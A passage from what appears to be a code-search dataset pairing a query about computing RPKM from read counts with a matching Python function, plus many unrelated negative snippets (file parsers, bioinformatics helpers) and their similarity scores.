test_str.strip() # ignore any leading/trailing newlines, etc.\\n parts = test_str.split('\\\\n\\\\n') # each part of test file is separated by a blank line\\n assert len(parts) == 2, \\\"Expected 2 parts, found \\\" + str(len(parts)) + \\\" in \\\" + str(test_file)\\n sample.txt = parts[0].strip()\\n arg_txt = parts[1].strip()\\n # safely parse dict from string\\n sample.arg = ast.literal_eval(arg_txt)\\n return sample\",\n \"def parseFile(self, filename):\\n self.__filename = filename\\n\\n if os.path.isfile(filename) == False:\\n self.LogError(\\\"Unable to open input file \\\" + str(filename))\\n raise IOError\\n\\n self.__file = open(filename, 'r')\\n\\n while True:\\n string = self.__file.readline()\\n if string == \\\"\\\":\\n break\\n\\n if string.upper().find(\\\"[SYSTEM]\\\") != -1:\\n #print string.upper()\\n self.__parseSystem()\\n\\n if string.upper().find(\\\"[GRASS]\\\") != -1:\\n #print string.upper()\\n self.__parseGrass()\\n\\n if string.upper().find(\\\"[COMPLEXDATA]\\\") != -1:\\n #print string.upper()\\n self.complexDataList.append(ComplexData(self.__file))\\n\\n if string.upper().find(\\\"[COMPLEXOUTPUT]\\\") != -1:\\n #print string.upper()\\n self.complexOutputList.append(ComplexOutput(self.__file))\\n\\n if string.upper().find(\\\"[LITERALDATA]\\\") != -1:\\n #print string.upper()\\n LD = LiteralData(self.__file)\\n if LD.identifier == 'multi_output':\\n self.LogWarning(\\\"multi_output: \\\" + LD.value.upper())\\n if LD.value.upper() == 'TRUE':\\n self.multiOutput = True\\n else:\\n self.literalDataList.append(LD)\",\n \"def parse(self, filename: str, input_format='csv', **kwargs):\\n if 'delimiter' not in kwargs:\\n kwargs['delimiter'] = self._extention_types[input_format]\\n if filename.endswith('.tar'):\\n with tarfile.open(filename) as tar:\\n for member in tar.getmembers():\\n f = tar.extractfile(member)\\n df = pd.read_csv(f, comment='#', **kwargs) # type: pd.DataFrame\\n if member.name == 'nodes.csv':\\n self.load_nodes(df)\\n elif member.name == 'edges.csv':\\n self.load_edges(df)\\n else:\\n raise Exception('Tar file contains unrecognized member {}'.format(member.name))\\n else:\\n df = pd.read_csv(filename, comment='#', **kwargs) # type: pd.DataFrame\\n self.load(df)\",\n \"def gather_sample(self, my_file, collector=None):\\n\\n pass\",\n \"def get_source(self, format: str) -> Source:\\n if format in SOURCE_MAP:\\n s = SOURCE_MAP[format]\\n return s(self)\\n else:\\n raise TypeError(f\\\"{format} in an unrecognized format\\\")\",\n \"def parse_records(file_name, record_type):\\n\\n tree = ET.parse(file_name)\\n root = tree.getroot() \\n\\n records = []\\n\\n for entry in root.findall('Record'):\\n type = entry.get('type')\\n if type == record_type:\\n value = float(entry.get('value'))\\n unit = entry.get('unit')\\n source = entry.get('sourceName')\\n creation_date = datetime_from_string(entry.get('creationDate'))\\n start_date = datetime_from_string(entry.get('startDate'))\\n end_date = datetime_from_string(entry.get('endDate'))\\n \\n record = Record(\\n type, value, unit, source, creation_date, start_date, end_date)\\n\\n records.append(record)\\n\\n return sorted(records, key=lambda record: record.start_date)\",\n \"def parse(filename_or_obj):\\n if isinstance(filename_or_obj, basestring):\\n # Anything ObsPy can read.\\n try:\\n src = obspy.readEvents(filename_or_obj)\\n except:\\n pass\\n else:\\n return Source.parse(src)\\n # CMT solution file.\\n try:\\n return Source.from_CMTSOLUTION_file(filename_or_obj)\\n except:\\n pass\\n raise SourceParseError(\\\"Could not parse the given source.\\\")\\n elif isinstance(filename_or_obj, obspy.Catalog):\\n if len(filename_or_obj) == 0:\\n raise SourceParseError(\\\"Event catalog contains zero events.\\\")\\n elif len(filename_or_obj) > 1:\\n raise SourceParseError(\\n \\\"Event catalog contains %i events. Only one is allowed. \\\"\\n \\\"Please parse seperately.\\\" % len(filename_or_obj))\\n return Source.parse(filename_or_obj[0])\\n elif isinstance(filename_or_obj, obspy.core.event.Event):\\n ev = filename_or_obj\\n if not ev.origins:\\n raise SourceParseError(\\\"Event must contain an origin.\\\")\\n if not ev.focal_mechanisms:\\n raise SourceParseError(\\\"Event must contain a focal mechanism.\\\")\\n org = ev.preferred_origin() or ev.origins[0]\\n fm = ev.preferred_focal_mechanism() or ev.focal_mechansisms[0]\\n if not fm.moment_tensor:\\n raise SourceParseError(\\\"Event must contain a moment tensor.\\\")\\n t = fm.moment_tensor.tensor\\n return Source(\\n latitude=org.latitude,\\n longitude=org.longitude,\\n depth_in_m=org.depth,\\n m_rr=t.m_rr,\\n m_tt=t.m_tt,\\n m_pp=t.m_pp,\\n m_rt=t.m_rt,\\n m_rp=t.m_rp,\\n m_tp=t.m_tp)\\n else:\\n raise NotImplementedError\",\n \"def __init__(\\n self,\\n sample_path,\\n sample_name=None,\\n sample_index=None,\\n lane_no=None,\\n read_no=None,\\n is_index=None,\\n checksum=None):\\n super(SampleFile, self).__init__(sample_path, file_checksum=checksum)\\n self.sample_name = sample_name\\n self.sample_index = sample_index\\n self.lane_no = lane_no\\n self.read_no = read_no\\n self.is_index = is_index\",\n \"def read(self, inputfile):\\n infile = open(inputfile, 'r')\\n if (inputfile.lower().endswith('.po')):\\n self.read_po(infile)\\n elif (inputfile.lower().endswith('.json')):\\n self.read_json(infile)\\n elif (inputfile.lower().endswith('.xml')):\\n self.read_properties(infile)\\n infile.close()\",\n \"def ParseFile(self, filepath):\\n self.Logger.debug(\\\"Parsing file: %s\\\" % filepath)\\n if (not os.path.isabs(filepath)):\\n fp = self.FindPath(filepath)\\n else:\\n fp = filepath\\n self.Path = fp\\n f = open(fp, \\\"r\\\")\\n self.Lines = f.readlines()\\n f.close()\\n InDefinesSection = False\\n InPackagesSection = False\\n InLibraryClassSection = False\\n InProtocolsSection = False\\n InGuidsSection = False\\n InPpiSection = False\\n InPcdSection = False\\n InSourcesSection = False\\n InBinariesSection = False\\n\\n for line in self.Lines:\\n sline = self.StripComment(line)\\n\\n if (sline is None or len(sline) < 1):\\n continue\\n\\n if InDefinesSection:\\n if sline.strip()[0] == '[':\\n InDefinesSection = False\\n else:\\n if sline.count(\\\"=\\\") == 1:\\n tokens = sline.split('=', 1)\\n self.Dict[tokens[0].strip()] = tokens[1].strip()\\n #\\n # Parse Library class and phases in special manor\\n #\\n if (tokens[0].strip().lower() == \\\"library_class\\\"):\\n self.LibraryClass = tokens[1].partition(\\\"|\\\")[0].strip()\\n self.Logger.debug(\\\"Library class found\\\")\\n if (len(tokens[1].partition(\\\"|\\\")[2].strip()) < 1):\\n self.SupportedPhases = AllPhases\\n elif (tokens[1].partition(\\\"|\\\")[2].strip().lower() == \\\"base\\\"):\\n self.SupportedPhases = AllPhases\\n else:\\n self.SupportedPhases = tokens[1].partition(\\\"|\\\")[2].strip().split()\\n\\n self.Logger.debug(\\\"Key,values found: %s = %s\\\" % (tokens[0].strip(), tokens[1].strip()))\\n\\n continue\\n\\n elif InPackagesSection:\\n if sline.strip()[0] == '[':\\n InPackagesSection = False\\n else:\\n self.PackagesUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InLibraryClassSection:\\n if sline.strip()[0] == '[':\\n InLibraryClassSection = False\\n else:\\n self.LibrariesUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InProtocolsSection:\\n if sline.strip()[0] == '[':\\n InProtocolsSection = False\\n else:\\n self.ProtocolsUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InGuidsSection:\\n if sline.strip()[0] == '[':\\n InGuidsSection = False\\n else:\\n self.GuidsUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InPcdSection:\\n if sline.strip()[0] == '[':\\n InPcdSection = False\\n else:\\n self.PcdsUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InPpiSection:\\n if sline.strip()[0] == '[':\\n InPpiSection = False\\n else:\\n self.PpisUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InSourcesSection:\\n if sline.strip()[0] == '[':\\n InSourcesSection = False\\n else:\\n self.Sources.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InBinariesSection:\\n if sline.strip()[0] == '[':\\n InBinariesSection = False\\n else:\\n self.Binaries.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n # check for different sections\\n if sline.strip().lower().startswith('[defines'):\\n InDefinesSection = True\\n\\n elif sline.strip().lower().startswith('[packages'):\\n InPackagesSection = True\\n\\n elif sline.strip().lower().startswith('[libraryclasses'):\\n InLibraryClassSection = True\\n\\n elif sline.strip().lower().startswith('[protocols'):\\n InProtocolsSection = True\\n\\n elif sline.strip().lower().startswith('[ppis'):\\n InPpiSection = True\\n\\n elif sline.strip().lower().startswith('[guids'):\\n InGuidsSection = True\\n\\n elif sline.strip().lower().startswith('[pcd') or \\\\\\n sline.strip().lower().startswith('[patchpcd') or \\\\\\n sline.strip().lower().startswith('[fixedpcd') or \\\\\\n sline.strip().lower().startswith('[featurepcd'):\\n InPcdSection = True\\n\\n elif sline.strip().lower().startswith('[sources'):\\n InSourcesSection = True\\n\\n elif sline.strip().lower().startswith('[binaries'):\\n InBinariesSection = True\\n\\n # Create scoped_library_dict\\n current_section = \\\"\\\"\\n arch = \\\"\\\"\\n\\n for line in self.Lines:\\n match = self.SECTION_REGEX.match(line)\\n\\n if line.strip() == \\\"\\\":\\n continue\\n\\n if line.strip().startswith(\\\"#\\\"):\\n continue\\n\\n # Match the current section we are in\\n if match:\\n section = match.group(1)\\n section = section.lower()\\n\\n # A Library section\\n if section.startswith(self.SECTION_LIBRARY):\\n if section.count(\\\".\\\") == 1:\\n current_section, arch = tuple(section.split(\\\".\\\"))\\n else:\\n current_section, arch = (section, \\\"common\\\")\\n # Some other section\\n else:\\n current_section = \\\"\\\"\\n arch = \\\"\\\"\\n continue\\n\\n # Handle lines when we are in a library section\\n if current_section == self.SECTION_LIBRARY:\\n if arch in self.ScopedLibraryDict:\\n self.ScopedLibraryDict[arch].append(line.split()[0].strip())\\n else:\\n self.ScopedLibraryDict[arch] = [line.split()[0].strip()]\\n self.Parsed = True\",\n \"def test_sample_type(self):\\r\\n \\r\\n self.assertEqual(self.test_sample.sampleType, 'TUMOUR')\",\n \"def sample_file(self, sample_file: str):\\n\\n self._sample_file = sample_file\",\n \"def _read_input_file(self):\\n pass\",\n \"def test_parse_sample_file(self):\\n parser = wv2_xml.Parser(\\n 'imars_etl/drivers_metadata/wv2_xml/test_files/'\\n 'WV02_20140218163417_103001002E0EB600_14FEB18163417-M1BS-'\\n '500534956040_01_P004.xml'\\n )\\n metadata_read = parser.get_metadata()\\n print('md: {}'.format(metadata_read))\\n expected_subset = {\\n \\\"time\\\": \\\"2014-02-18T16:34:17.926650\\\"\\n }\\n\\n assert expected_subset.items() <= metadata_read.items()\",\n \"def _read_sample_data(self):\\n def _read_tab(pth):\\n \\\"\\\"\\\"\\n Internal read table function\\n\\n :param str pth: absolute path to the file to read\\n :return pandas.DataFrame: table object\\n \\\"\\\"\\\"\\n if not os.path.exists(pth):\\n raise SampleTableFileException(\\n \\\"File does not exist: {}\\\".format(pth))\\n read_csv_kwargs = {\\\"engine\\\": \\\"python\\\", \\\"dtype\\\": str,\\n \\\"index_col\\\": False, \\\"keep_default_na\\\": False,\\n \\\"na_values\\\": [\\\"\\\"]}\\n return pd.read_csv(pth, sep=infer_delimiter(pth), **read_csv_kwargs)\\n\\n no_metadata_msg = \\\"No {} specified\\\"\\n if CONFIG_KEY not in self:\\n _LOGGER.warning(\\\"No config key in Project\\\")\\n return\\n if CFG_SAMPLE_TABLE_KEY not in self[CONFIG_KEY]:\\n _LOGGER.debug(\\\"no {} found\\\".format(CFG_SAMPLE_TABLE_KEY))\\n return\\n st = self[CONFIG_KEY][CFG_SAMPLE_TABLE_KEY]\\n if st:\\n self[SAMPLE_DF_KEY] = _read_tab(st)\\n else:\\n _LOGGER.warning(no_metadata_msg.format(CFG_SAMPLE_TABLE_KEY))\\n self[SAMPLE_DF_KEY] = None\\n if CFG_SUBSAMPLE_TABLE_KEY in self[CONFIG_KEY]:\\n if self[CONFIG_KEY][CFG_SUBSAMPLE_TABLE_KEY] is not None:\\n sst = make_list(self[CONFIG_KEY][CFG_SUBSAMPLE_TABLE_KEY], str)\\n self[SUBSAMPLE_DF_KEY] = [_read_tab(x) for x in sst]\\n else:\\n _LOGGER.debug(no_metadata_msg.format(CFG_SUBSAMPLE_TABLE_KEY))\\n self[SUBSAMPLE_DF_KEY] = None\",\n \"def _parseFileHeader(self):\\n self.fileheader = FileHeader()\\n self.fileheader.parse(self.f)\\n #print('Parsed fileheader')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6792015","0.60584515","0.60023004","0.5840672","0.5758215","0.5618943","0.55958074","0.55881006","0.5586995","0.5580437","0.55724865","0.5562735","0.55514455","0.55227596","0.5517897","0.55124015","0.5453931","0.54345775","0.5429451","0.5374856","0.5351469","0.53467315","0.53386474","0.53364617","0.5331835","0.5330727","0.5315123","0.5309121","0.52766675","0.52515256","0.5248982","0.5247004","0.52372897","0.5227617","0.5223329","0.52194816","0.5219073","0.5188674","0.514748","0.51438963","0.51435345","0.51377535","0.5133347","0.5112129","0.51066464","0.50931334","0.5091915","0.50917923","0.5079412","0.5056401","0.5051402","0.5047578","0.5043035","0.5042893","0.50413805","0.50404286","0.5039857","0.50330204","0.5028995","0.5020877","0.5010547","0.49848798","0.49773127","0.49769497","0.4969726","0.4966957","0.4956725","0.4949866","0.4941882","0.49338034","0.49335915","0.49294856","0.4923004","0.4922996","0.48755208","0.48644447","0.48544106","0.4841708","0.48344532","0.482948","0.4826994","0.48227796","0.48224732","0.48215607","0.48154742","0.4813099","0.48122254","0.48113352","0.48085356","0.48082504","0.48061758","0.47997135","0.47990245","0.4793769","0.47930387","0.47928134","0.47926584","0.47766057","0.4775705","0.47635567"],"string":"[\n \"0.6792015\",\n \"0.60584515\",\n \"0.60023004\",\n \"0.5840672\",\n \"0.5758215\",\n \"0.5618943\",\n \"0.55958074\",\n \"0.55881006\",\n \"0.5586995\",\n \"0.5580437\",\n \"0.55724865\",\n \"0.5562735\",\n \"0.55514455\",\n \"0.55227596\",\n \"0.5517897\",\n \"0.55124015\",\n \"0.5453931\",\n \"0.54345775\",\n \"0.5429451\",\n \"0.5374856\",\n \"0.5351469\",\n \"0.53467315\",\n \"0.53386474\",\n \"0.53364617\",\n \"0.5331835\",\n \"0.5330727\",\n \"0.5315123\",\n \"0.5309121\",\n \"0.52766675\",\n \"0.52515256\",\n \"0.5248982\",\n \"0.5247004\",\n \"0.52372897\",\n \"0.5227617\",\n \"0.5223329\",\n \"0.52194816\",\n \"0.5219073\",\n \"0.5188674\",\n \"0.514748\",\n \"0.51438963\",\n \"0.51435345\",\n \"0.51377535\",\n \"0.5133347\",\n \"0.5112129\",\n \"0.51066464\",\n \"0.50931334\",\n \"0.5091915\",\n \"0.50917923\",\n \"0.5079412\",\n \"0.5056401\",\n \"0.5051402\",\n \"0.5047578\",\n \"0.5043035\",\n \"0.5042893\",\n \"0.50413805\",\n \"0.50404286\",\n \"0.5039857\",\n \"0.50330204\",\n \"0.5028995\",\n \"0.5020877\",\n \"0.5010547\",\n \"0.49848798\",\n \"0.49773127\",\n \"0.49769497\",\n \"0.4969726\",\n \"0.4966957\",\n \"0.4956725\",\n \"0.4949866\",\n \"0.4941882\",\n \"0.49338034\",\n \"0.49335915\",\n \"0.49294856\",\n \"0.4923004\",\n \"0.4922996\",\n \"0.48755208\",\n \"0.48644447\",\n \"0.48544106\",\n \"0.4841708\",\n \"0.48344532\",\n \"0.482948\",\n \"0.4826994\",\n \"0.48227796\",\n \"0.48224732\",\n \"0.48215607\",\n \"0.48154742\",\n \"0.4813099\",\n \"0.48122254\",\n \"0.48113352\",\n \"0.48085356\",\n \"0.48082504\",\n \"0.48061758\",\n \"0.47997135\",\n \"0.47990245\",\n \"0.4793769\",\n \"0.47930387\",\n \"0.47928134\",\n \"0.47926584\",\n \"0.47766057\",\n \"0.4775705\",\n \"0.47635567\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.53575206"},"document_rank":{"kind":"string","value":"20"}}},{"rowIdx":80091,"cells":{"query":{"kind":"string","value":"calculate reads per kilobase transcript per million reads NOTE. rpkm=(1e9C)/(LN)"},"document":{"kind":"string","value":"def rpkm(counts,length):\n return 1e9*counts/(length[:,np.newaxis]*np.sum(counts,axis=0))"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def TCMB(rs):\n\n return 0.235e-3 * rs","def overhead(readings):\n return 100.0 * (int(readings[0]) + int(readings[1])) / (int(readings[2]) + int(readings[3]))","def map_reads_2genes(self, reads_file):\n start1 = time()\n read_starts = self.__get_reads_pos(reads_file)\n start2 = time()\n times = 0\n for ref_gene in self.ref_genes:\n times += 1\n if times % 500 == 0:\n print 'calculated %d genes read count ...' % times\n if len(read_starts[ref_gene.chrom]) == 0:\n continue\n starts = read_starts[ref_gene.chrom]\n for es, ed in zip(ref_gene.exon_starts, ref_gene.exon_ends):\n # rd = starts[(starts > es) & (starts < ed)].size\n rd = cal_read_count(es, ed, starts)\n ref_gene.read_count += rd\n\n print 'start calculate rpkm ...'\n mapped_read_count = self.mapped_read_count\n for ref_gene in self.ref_genes:\n # calculate RPKM\n ref_gene.read_density = \\\n ref_gene.read_count * 1000 * 1000 * 1000. / (ref_gene.mRNA_length * mapped_read_count)\n print 'got reads time: %f' % (time() - start1)\n print 'map reads time: %f' % (time() - start2)","def num_iters(docs_file):\n\n with open(docs_file, 'r') as docs:\n num_docs = len(docs.readlines())\n num_iters = num_docs/1000 + 1\n\n return num_iters","def count_kmers_possible(read, k):\n num_kmers = {}\n num_kmers1 = len(read) - k + 1\n num_kmers2 = 4**k\n#num_kmers.append(min(num_kmers1,num_kmers2))\n num_kmers = min(num_kmers1,num_kmers2)\n num_kmers3 = max(num_kmers,0)\n return(num_kmers3)","def calc_mrr(kb, test_file, delimiter=',', header=None, size=None):\n with open(test_file) as f:\n reader = csv.reader(f, delimiter=delimiter)\n if header:\n next(reader, None)\n i = 0\n test_triples = []\n for row in reader:\n pred = cleanse(pred)\n sub = cleanse(sub)\n ob = cleanse(ob)\n if not (sub.replace('_','').isalnum() and ob.replace('_','').isalnum()):\n continue\n test_triples.append((sub, pred, ob))\n mrr = 0\n print('Test set size: {}'.format(len(test_triples)))\n if not size:\n size = len(test_triples)\n for t in tqdm(test_triples[:size]):\n # TODO, this is inefficient, not batched.\n try:\n ob = t[2]\n ranks = kb.get_most_likely(t[0], t[1], '?', k=100)\n ranked_ents = [x['triple'][2] for x in ranks]\n if ob not in ranked_ents:\n continue\n mrr += 1 / (ranked_ents.index(ob) + 1)\n except:\n continue\n return mrr / size","def count_total(self):\n total = 0\n rpk_total = 0.0\n with open(self.filename, 'rU') as my_htseq:\n for line in my_htseq:\n if '_' not in line:\n line = line.rstrip('\\n').split('\\t')\n ensg_id = line[0]\n gene_len = len(set(self.gtf.gene_coords[ensg_id])) / 1000.0\n count = int(line[1])\n total += count\n rpk_total += float(count/gene_len)\n return total, rpk_total","def calculate_LC(read):\n k_values = []\n for i in range(1,len(read)+1):\n k_values.append(i)\n observed_kmers = []\n for i in k_values:\n observed_kmers.append((count_kmers_observed(read, i)))\n possible_kmers = []\n for i in k_values:\n possible_kmers.append(count_kmers_possible(read, i))\n df = pd.DataFrame(list(zip(k_values, observed_kmers, possible_kmers)), columns = ['k','observed kmers','possible kmers'])\n df.at['Total', 'observed kmers'] = df['observed kmers'].sum()\n df.at['Total', 'possible kmers'] = df['possible kmers'].sum()\n x = int(df.at['Total', 'observed kmers'])\n y = int(df.at['Total', 'possible kmers'])\n LC = (x/y)\n return(LC)","def sum_reads(self, sample):\n total_reads = 0.0\n arts = lims.get_artifacts(samplelimsid = sample.id, process_type = self.process_types)\n for art in arts:\n if art.qc_flag == 'PASSED' and '# Reads' in art.udf:\n total_reads += float(art.udf.get('# Reads'))\n return total_reads/1000000","def exp_calculator_with_count(count_table_file):\n count_table = pd.read_table(count_table_file, index_col=0)\n columns = count_table.columns\n\n gene_len = count_table[columns[0]]\n rpkm_dict = dict()\n tpm_dict = dict()\n for sample in columns[1:]:\n # Divide the read counts by the length of each gene in kilobases.\n # This gives you reads per kilobase (RPK)\n rpk = count_table[sample]/gene_len\n # get rpkm/fpkm\n total_counts = sum(count_table[sample])/1000\n \"\"\"\n rpkm = (count_table[sample]/gene_len)/(sum(count_table[sample])/1000)*1000000\n \"\"\"\n rpkm = rpk/total_counts*1000000\n # get tpm\n norm_gene_len_total_counts = sum(rpk)\n tpm = rpk/norm_gene_len_total_counts*1000000\n \"\"\"\n tpm = (count_table[sample]/gene_len)/sum(count_table[sample]/gene_len)*1000000\n \"\"\"\n # save\n rpkm_dict[sample] = rpkm\n tpm_dict[sample] = tpm\n # save results\n df_rpkm = pd.DataFrame(rpkm_dict, index=count_table.index)\n df_tpm = pd.DataFrame(tpm_dict, index=count_table.index)\n df_rpkm.to_csv(count_table_file+'.fpkm.xls', sep='\\t')\n df_tpm.to_csv(count_table_file+'.tpm.xls', sep='\\t')\n #\n return rpkm_dict, tpm_dict","def getRounds(k):\n\n if k < 512: # depending on number of bits\n return 10 # different numebers of MR rounds\n elif k < 1024: # are recommended, in the official\n return 7 # US government standard\n elif k < 1536:\n return 4\n else:\n return 3","def CalculateRoc2(dataArray,prefix,readsize,uniquehits,mappedreads,filename):\r\n starttime= time.time()\r\n uniquehits = float(uniquehits)\r\n readsize = float(readsize)\r\n \r\n \r\n entries = len(dataArray)\r\n \r\n\r\n resultmatrix = np.arange(entries*2)\r\n resultmatrix = resultmatrix.reshape(2,entries)\r\n \r\n maxrq = max(x.rq for x in dataArray)\r\n maxnm = max(x.nm[0] for x in dataArray)\r\n maxGaps= max(x.gaps[0] for x in dataArray)\r\n maxMism= max(x.mism[0] for x in dataArray)\r\n \r\n \r\n minrq = min(x.rq for x in dataArray)\r\n minnm = min(x.nm[0] for x in dataArray)\r\n minmq= min(x.mq[0] for x in dataArray)\r\n minGaps= min(x.gaps[0] for x in dataArray) \r\n minMism= min(x.mism[0] for x in dataArray) \r\n \r\n \r\n # adjust stepsize for rq since the score behaves the other way\r\n quants = [1,2,3,4,5]\r\n tempa = maxrq-minrq\r\n stepsize = tempa/5\r\n \r\n rqQuants = [round(minrq+(i-1)*stepsize,3) for i in quants]\r\n rqQuants.reverse()\r\n rqQuants[-1] =0 # last entry is rounded bigger than the smallest in the dataset\r\n \r\n nmQuants = [i*maxnm/5 for i in quants]\r\n GapsQuants = [i*maxGaps/5 for i in quants]\r\n MismQuants = [i*maxMism/5 for i in quants]\r\n\r\n rocvector = []\r\n \r\n # i = NM,l = RQ, k = MQ\r\n for l in quants: # RQ\r\n for k in quants: # GAPS\r\n for j in quants: # MISMATCH\r\n temparray = [m for m in dataArray if m.gaps[0] <= GapsQuants[k-1] and m.mism[0] <= MismQuants[j-1] and m.rq >=rqQuants[l-1]]\r\n \r\n\r\n tempids = [m.id for m in temparray]\r\n uniquereads = {}\r\n for i in xrange(0,len(tempids)):\r\n uniquereads[tempids[i]] = \"\"\r\n\r\n mappedreads = len(uniquereads)\r\n \r\n \r\n \r\n templength = len(temparray)\r\n \r\n if templength == 0:\r\n continue\r\n else:\r\n tempTP = sum(x.mr[0] for x in temparray)\r\n tempFP =templength-tempTP\r\n F = round((float(mappedreads)/ readsize) ,3)\r\n sens = round((tempTP/ uniquehits) * F,3)\r\n if tempFP == 0:\r\n spec = 0\r\n else:\r\n spec = round((tempFP / uniquehits) * F,3) \r\n \r\n rocvector.append([rqQuants[l-1],GapsQuants[k-1],MismQuants[j-1],tempTP,tempFP,templength,sens,spec,F])\r\n \r\n #print (\"%d\\t%d\\t%d\\t\" % (templength,tempTP,tempFP))\r\n\r\n #0 = NM 4 = TP 7 = sens\r\n #1 = RQ 5 = FP 8 = 1-spec\r\n #2 = GAPS 6 = P 9 = F\r\n #append needed for last entry in AUC calculation\r\n rocvector.append([0,0,0,0,0,0,0,0,0]) \r\n nproc = np.array(rocvector)\r\n \r\n #write the sens and specificity values from nproc according to the enumeration in line 149. \r\n #specificity is in cell -2\r\n # sensitivity is in cell -3\r\n sens = [i[-3] for i in nproc]\r\n spez = [i[-2] for i in nproc]\r\n \r\n # adjust ROC curve. It is necessary that it the 1-specificity ends in 1.\r\n # for the last record copy the predecessor in sens to it\r\n # and write 1 to specificity \r\n spez[-1] = 1\r\n sens[-1] = sens[-2]\r\n \r\n\r\n rocarray1 = np.array([sens,spez])\r\n rocarray1 = rocarray1.flatten('F')\r\n rocarray1= rocarray1.reshape((len(spez),2))\r\n \r\n rocarray = np.array([sens,spez])\r\n rocarray = rocarray.flatten('F')\r\n rocarray = rocarray.reshape((len(spez),2))\r\n rocarray = np.sort(rocarray.view('float,float'), order=['f0','f1'], axis=0).view(np.float)\r\n \r\n rocarrayCorrected = rocarray\r\n \r\n #print rocarrayCorrected\r\n # project points where...\r\n for m in range(len(rocarrayCorrected)-2,-1,-1):\r\n if (rocarrayCorrected[m,1] >= rocarrayCorrected[m+1,1]):\r\n rocarrayCorrected[m,1] = rocarrayCorrected[m+1,1]\r\n\r\n \r\n #print rocarrayCorrected \r\n plt.hold(True)\r\n plt.figure()\r\n plt.subplot(111)\r\n #plt.scatter(spez, sens, c='b', marker='o', facecolor='red')\r\n #plt.plot(rocarray[:,1], rocarray[:,0]\r\n plt.plot(rocarrayCorrected[:,1],rocarrayCorrected[:,0], marker='o', markersize=7,linestyle='--', color='r', label='projected')\r\n plt.plot(rocarray1[:,1], rocarray1[:,0], linestyle=\"None\",label='real',marker='.',color='g')\r\n plt.xlabel('1-specificity')\r\n plt.ylabel('sensitivity')\r\n plt.title(r'ROC:'+filename)\r\n plt.axis([-0.1,1.1,-0.1,1.1])\r\n plt.grid(True)\r\n plt.legend(loc='lower right')\r\n plt.tight_layout()\r\n plt.savefig(prefix + \"_ROC.pdf\",format='pdf')\r\n plt.clf \r\n \r\n \r\n AUC = trapezoidal_rule(rocarrayCorrected[:,1], rocarrayCorrected[:,0])\r\n \r\n fobj = open(prefix+\"_roctable.txt\",\"w\")\r\n fobj.write(\"RQ\\tGAPS\\tMM\\tPTP\\tFP\\tP\\tSn\\t1-Sp\\tF\\r\\n\")\r\n for i in xrange(0,len(rocvector),1):\r\n temp = [str(k) for k in rocvector[i]]\r\n tempstr = \"\\t\".join(temp)\r\n fobj.write(tempstr+\"\\r\\n\")\r\n\r\n endtime= time.time()\r\n return(round(AUC,3))","def _get_m(self, ks: List[int]) -> int:\n\n base = 1\n for c in ks:\n base = base * c // gcd(base, c)\n return base","def get_contig_rpkms(identifier, path, minscore):\n \n print('Parsing file:', path)\n \n bamfile = pysam.AlignmentFile(path, \"rb\")\n \n # We can only get secondary alignment reference names, not indices. So we must\n # make an idof dict to look up the indices.\n idof = {contig: i for i, contig in enumerate(bamfile.references)}\n contiglengths = bamfile.lengths\n halfreads = [0] * len(contiglengths)\n \n nhalfreads = 0\n for segment in filter_segments(bamfile, minscore):\n nhalfreads += 1\n \n # Read w. unmapped mates count twice as they represent a whole read\n value = 2 if segment.mate_is_unmapped else 1\n \n for reference in get_all_references(segment):\n id = idof[reference]\n halfreads[id] += value\n \n bamfile.close()\n \n print('Done parsing file:', path)\n \n rpkms = list()\n \n # Compensate for having paired reads\n millionmappedreads = nhalfreads / 2e6\n \n for contiglength, nhalfreads in zip(contiglengths, halfreads):\n kilobases = contiglength / 1000\n rpkms.append(nhalfreads / (kilobases * millionmappedreads))\n \n return identifier, rpkms","def calc_intersection_true_data_baselines_data_cnt():\n# final_sen_scores = linux_base_path + \"/final_sen_scores/\"\n final_sen_scores = base_path + \"\\\\final_sen_scores\\\\\"\n top_k_docs_values = [50]\n lambda_f = \"1\"\n claim_sen_true_relevance_dict = read_pickle(\"claim_sen_relevance_dict_\"+curr_source)\n claims_dict = read_pickle(\"claim_dict\")\n intersection_count_avg_all_claims =0\n exclude = set(string.punctuation)\n \n for k_val in top_k_docs_values:\n intersection_count = 0\n for alpha in range(10,11,1): #change just for test!\n for beta in range(0,1,1):\n (alpha_f,beta_f) = turn_to_float([alpha,beta])\n curr_baseline_final_sen_score_dict = read_pickle(final_sen_scores+\"clm_num_key_final_ranked_list_sen_alpha_\"+str(alpha_f)+\"_beta_\"+str(beta_f)+\"_top_k_docs_\"+str(k_val)+\"_lambda_\"+str(lambda_f)+\"_sorted\")\n for clm in curr_baseline_final_sen_score_dict.keys():\n curr_clm_baseline_set = set()\n curr_true_relevance_set = set()\n for (sen,score) in curr_baseline_final_sen_score_dict[clm]:\n sen_no_punc = ''.join(ch for ch in sen if ch not in exclude)\n sen_no_space = sen_no_punc.replace(\" \",\"\")\n curr_clm_baseline_set.add(sen_no_space)\n for (sen,score) in claim_sen_true_relevance_dict[claims_dict[clm]]:\n sen_no_punc = ''.join(ch for ch in sen if ch not in exclude)\n sen_no_space = sen_no_punc.replace(\" \",\"\")\n curr_true_relevance_set.add(sen_no_space) \n intersection_count += len(curr_clm_baseline_set.intersection(curr_true_relevance_set))\n intersection_count_avg_all_claims += float(float(intersection_count)/float(110))\n intersection_count_avg_all_claims = float(float(intersection_count_avg_all_claims)/float(len(curr_baseline_final_sen_score_dict.keys())))\n print \"intersection_count_avg_all_claims:\"+str(intersection_count_avg_all_claims)","def d50(clones, num_Reads): \n\n\n d50_amount = num_Reads/2\n read_count=0\n for i in clones:\n read_count+=clones[i].num_reads\n if read_count>=d50_amount:\n return i/float(len(clones))","def cal_pn(grams_set, grams, candidate, reference):\n count = 0\n for gram in grams_set:\n # print(gram)\n count += count_clip(gram, grams, reference)\n 